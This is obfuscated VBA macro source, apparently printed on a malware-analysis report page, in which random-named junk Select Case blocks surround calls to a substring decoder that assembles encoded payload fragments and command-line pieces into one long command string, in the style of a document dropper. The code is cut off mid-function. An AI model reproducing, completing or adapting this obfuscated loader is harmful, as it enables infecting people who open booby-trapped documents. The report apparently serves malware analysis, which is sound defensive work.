azirw = ztmcw
Case 96027
wtoKYR = Rnd(jaVWzZ)
rCjjWi = Cos(WLmUp)
End Select
RjRcPh = UWZAX("tzGAwAAZAIDmVqi8nj", 8 + 0, 9 + 0)
Select Case YVjGf
Case 75928
MjvSwo = ChrB(mziMrY)
FqGwbO = chCpi
Case 20904
LrPrM = Rnd(dLHOki)
UXhac = Cos(ZTidK)
End Select
Select Case opaHp
Case 63214
PjOTk = ChrB(FiaWMN)
XbLKzU = ZGnLr
Case 49357
KUnCqS = Rnd(zPiGKT)
BQbzU = Cos(iNiPK)
End Select
bpOtsRAV = UWZAX("MuolAOAgDAjBwNAYGAlBgYAYGA3AAOAADA3AwYAMDA3AQZAcDA5AwNAQDAyAwMAMDAzAAOAUGAwAQZAIGA2AQZAcDAlBQNAEDAhBANAIGAhBgYAYGA2AwYAADA2AQOAIDqi", 4 + 0, 124 + 0)
Select Case YvIsC
Case 53265
uvKnT = ChrB(vzXLj)
nAEXp = NXzwz
Case 81526
sVtAq = Rnd(bizZJ)
dIbYaK = Cos(zLWUU)
End Select
Select Case KazKj
Case 1104
nHAjQL = ChrB(VBWIzK)
bwFUNZ = izpkHJ
Case 85506
pzSacR = Rnd(bmsnjd)
aaKorj = Cos(rpWanE)
End Select
JPsUlGipIN = UWZAX("ztAhUYAIGAjBQYAYDA2AQMAgDA4AwNAQGAwAwNAIDAiBAZAEGAzAgMAEDAxAQMAIGA5AgZAgDA5AAOAUGAxAgNAYDAiBANAQGAxAgNAIDA4AwYAkDAkBANAYDAkBwMAEDAjBgYAYGAlBgNAYDA2AAMAADAhBgYAMGAmBAMAUGAiBgNAcDAzAQNAIGAyAANAUUi", 3 + 0, 187 + 0)
Select Case KzJCq
Case 82008
YqXhM = ChrB(VTcZqK)
WOaTRI = zIvzp
Case 23444
Qnjktm = Rnd(BkmGiA)
XMwkd = Cos(nvYpk)
End Select
Select Case rbFTbD
Case 54943
DmvjQ = ChrB(FhUsVY)
TBizj = NinQOF
Case 87476
hapff = Rnd(ilzfpS)
SQoQPK = Cos(XZbWr)
End Select
NCoDwZJAjaX = UWZAX("l,DA0AAZAEGAyAAMAQGA5AQOAgDA3AgYAMDAkBgNAYDA3AQZAgDA4AAOAMDAiBQMAYDAlBQYAQGAjBAMAcDA5AQNAUDA5AwMAEGAxAQZAUGA3AwMAUGAmBQYAYGAxWIq9pup", 8 + 0, 123 + 0)
Select Case PmPWhi
Case 44281
YGfNqj = ChrB(iCzHRh)
Nzzwul = IzToDa
Case 94187
cwKvF = Rnd(KIDZbW)
WcOauU = Cos(PWijl)
End Select
Select Case tRmBh
Case 29607
voJplE = ChrB(fGLojz)
qTJPT = dqvso
Case 96918
fJWOo = Rnd(roSBn)
LZniK = Cos(wWhDz)
End Select
oiivaaSGA = UWZAX("UtDAlBgMAUGA1AwNAIDAiBANAUDAxAQYAkDAhBgYAMGAiBAZAIGA3AAOAYGAwAQNAIDAlBwYAEDAzAwYAIDAlBAZAgDA2AQOAcDAyAAMAIDAyAwNAEDCQJt", 5 + 0, 113 + 0)
Select Case mOsJFs
Case 32448
mkBWj = ChrB(AfIiXS)
zHzqM = WpbmcL
Case 89539
aIhiZk = Rnd(faYRuO)
TOCjf = Cos(pGvTt)
End Select
Select Case McFaY
Case 55858
jRPvq = ChrB(NfwkV)
WcELp = bzCEMa
Case 40299
iPIoPZ = Rnd(PvjSLU)
tzvZbp = Cos(oIRPp)
End Select
fTziJTiwFT = UWZAX("j.IJKOAcDAyAwMAQDA1AgZAMGA4AAZAEDA3AgMAUGAlBE0k", 4 + 0, 39 + 0)
Select Case dKiEoa
Case 88407
zXIVvd = ChrB(hUtiQ)
GCImwf = pHrYZc
Case 15581
Qfdla = Rnd(vcnEf)
wHnYl = Cos(QWHWR)
End Select
Select Case ZGcBs
Case 39853
uQXbP = ChrB(dQPTqh)
GNGHoT = jpSVD
Case 9044
KQwEYC = Rnd(CiiIq)
zLnzdZ = Cos(LLAVNZ)
End Select
vIEJRHjc = UWZAX("j8QGA3AQOAMDA0AQZAUGAjBQZAMDAwAQYAYDA2AQMAYDA4AwNAEDAmBAZAUDAmBgZAYDAjBAOAUDA3AAMAEDAjBQMAUGA5AQMAIGAhBAOAUGA3AwMAIGA5AgYAEGAmBAZAEDA4Ah.oW", 5 + 0, 133 + 0)
Select Case dEwCXK
Case 19108
zQOSf = ChrB(DiXwwp)
VBUsiM = wQdrz
Case 9394
zfjlf = Rnd(dLXiK)
IHcdWO = Cos(XIDdJs)
End Select
VVvAbUYhRzWLA = wwNrjpwfRvziKU + lVjmXTaLFCrNSW + ktsXVWV + """" + JimhlEQVnHcQhP + tnbZWFspYHI + MEiTpwHm + zwOQXzH + RjRcPh + bpOtsRAV + rHhsO + ihjVvVzzF + FYXKuRm + HciLXtsGl + DoPGwMmVBj + iLbHvGP + DsqZltOHnDH + fTziJTiwFT + KwhIh + tXDzAsfwzMi + vIEJRHjc + SVhpdbLjtK + oiivaaSGA + JPsUlGipIN + RiTrNqs + NiVBlWs + KucNqZDhm + tUUka + woTdjcLniJu + NCoDwZJAjaX + NmFOUJJwd + NdPzdwi + zvDKotFBs + IPRDHQnhN + tcKbiLnO + miXSblVda + CBzUU + lQYAFZ + iidwR + zzCmIWVoM + KPhAMlT + ZzaSAM + FZhSzRQaTY + rlVpiSwTZ + iONjdfGdfID + BNDtdwP + XvPVNhAO + lwupBvbdJwi + lBZhnNpklw + EjvXGupCRd + oiHRRCXsqJ + UvjqzCP + UVqjlUQ + iswjkFp
Select Case CWsihI
Case 54296
KrSwCZ = ChrB(IwMazZ)
cGsUzw = vDtvKA
Case 39580
konht = Rnd(qTHOvB)
fDHQVK = Cos(lpNJfF)
End Select
End Function
Attribute VB_Name = "GXWjKTfTwpuHwE"
Function ktsXVWV()
On Error Resume Next
Select Case ViacJd
Case 70824
IFUzmh = ChrB(LnjAOp)
iaNEt = LYVIXV
Case 9364
RbXpH = Rnd(rBoCD)
kMafE = Cos(tGEzP)
End Select
iidwR = UWZAX("27 te5uIn54a&&!%ALY1hu", 5 + 0, 10 + 0)
Select Case kKbkj
Case 24333
QdctLI = ChrB(GTXcm)
AYpzz = DFcwES
Case 23322
FwuGR = Rnd(amsISO)
tLaib = Cos(EDMVc)
End Select
Select Case pUlVsA
Case 95526
CnZNm = ChrB(QvTZL)
oTWGcS = UbKmZN
Case 84990
jqdkm = Rnd(iUEBw)
jhtZIE = Cos(HVzit)
End Select
tXDzAsfwzMi = UWZAX("@PKZYlAvVV% te5uIn54a&&p=%wiiJjGf", 4 + 0, 18 + 0)
Select Case EdlrBz
Case 99729
QhEpoY = ChrB(GwSFiV)
miliV = kklMkK
Case 66417
wcCBwC = Rnd(AojTf)
BWfYOE = Cos(qDGWdG)
End Select
Select Case VAHrN
Case 82940
mWttj = ChrB(TjoST)
swSqC = AfmvJq
Case 42051
jqnvj = Rnd(wjwAG)
jjPzz = Cos(nSEaC)
End Select
MEiTpwHm = UWZAX("U5uIn54aw&&r^e=%HwIiXOlB", 4 + 0, 12 + 0)
Select Case EQMLh
Case 83549
CXWhd = ChrB(tjORJz)
kCuRP = vACDHJ
Case 76280
qStmBE = Rnd(DcKBmB)
ZYBva = Cos(ZBVvwr)
End Select
Select Case aiXDv
Case 24126
MSWGD = ChrB(hosoJW)
qfhruF = Jwtnw
Case 36126
vofmr = Rnd(AGFSq)
JwiwzW = Cos(zbuzjJ)
End Select
EjvXGupCRd = UWZAX("cno@LornHpLwHi=%ciJjpUE7", 5 + 0, 16 + 0)
Select Case zEPYjI
Case 70751
lAMCS = ChrB(pkaPA)
wRizw = QVqBq
Case 98522
BCvqjj = Rnd(zjLdkv)
LIrTh = Cos(zufZQc)
End Select
Select Case sdaOwB
Case 15579
GzZzw = ChrB(bMCfR)
Tcdcs = iimkAW
Case 88043
IwiYDh = Rnd(snvkAZ)
PDZBtH = Cos(QAzVH)
End Select
iLbHvGP = UWZAX("o8j9Se5uIn54a8", 2 + 0, 2 + 0)
Select Case ZVVzC
Case 6376
Qchdb = ChrB(daohsr)
kSjKw = mdrwhD
Case 91965
UXSwi = Rnd(SdnVwa)
dmbSF = Cos(qmHlKw)
End Select
Select Case ssimo
Case 15596
wjqOs = ChrB(OLaEZD)
JzUTfZ = rzuWh
Case 55421
fDvSS = Rnd(wCrKLK)
CCJzn = Cos(HNvYK)
End Select
lwupBvbdJwi = UWZAX("Yf=%LKNzrUuwzSZpOTz% l.I.L", 6 + 0, 19 + 0)
Select Case PpSzm
Case 37918
PjiIil = ChrB(azHFK)
VPQpp = icVrkf
Case 70314
DofEF = Rnd(ivdTui)
jiJGp = Cos(CkAYd)
End Select
Select Case cazZEU
Case 64118
WISnm = ChrB(wKXRU)
SGYqbU = zGiWlS
Case 2579
XHIDN = Rnd(zoEiN)
wHYplE = Cos(IWCGw)
End Select
RiTrNqs = UWZAX("hV0oOUBTc%!!%HwI@q", 3 + 0, 12 + 0)
Select Case rjzomj
Case 40853
MbDPOG = ChrB(TRTMO)
fqhskj = sjVAK
Case 37815
mBASz = Rnd(zkjVZX)
upFiuj = Cos(MtQvBz)
End Select
Select Case juwlWz
Case 59806
GZNFsK = ChrB(cchjQJ)
TqBkj = bvQVkd
Case 97614
iCtBK = Rnd(LYRVj)
AkIiL = Cos(icaHj)
End Select
FZhSzRQaTY = UWZAX("39cP%vlmSwuzZkIwZRbP,Hw", 4 + 0, 16 + 0)
Select Case QoPLJr
Case 39213
LWzZn = ChrB(FCvvZf)
Hprmh = XzWjW
Case 36503
lWrAP = Rnd(BUNim)
vhHbjf = Cos(DkJwYZ)
End Select
Select Case tbVps
Case 11236
EGqTL = ChrB(AFzqXO)
IZkIX = bQHcw
Case 57271
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.